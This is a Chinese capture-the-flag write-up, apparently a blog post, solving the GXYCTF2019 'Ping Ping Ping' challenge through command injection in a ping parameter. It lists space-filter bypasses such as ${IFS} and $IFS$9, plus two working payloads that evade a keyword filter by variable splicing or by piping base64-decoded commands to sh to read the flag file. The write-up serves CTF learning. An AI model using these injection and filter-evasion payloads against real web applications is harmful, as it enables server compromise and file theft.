[GXYCTF2019]Ping Ping Ping

一进去,就只看见这个,很明显,提醒我们输入试试

成功,是关于Linux的命令执行,再继续尝试看看能够获取什么

使用ls可以发现

用cat打印flag试试,好家伙,直接开骂,应该是对空格进行了过滤

 

所以我们需要绕过空格过滤

cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
%20(space)
%09(tab)
$IFS$9
${IFS}$9
{IFS}
IFS

当我使用$IFS$9时,结果flag也过滤掉了,于是看看index

 

可以看见直接出现了源码,过滤信息也都出现了,现在考虑如何绕过flag的过滤

有两种办法

 1.通过定义变量实现拼接

/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$9$a$b.ph

2.通过执行sh命令来执行 

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

然后f12,成功得到flag

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值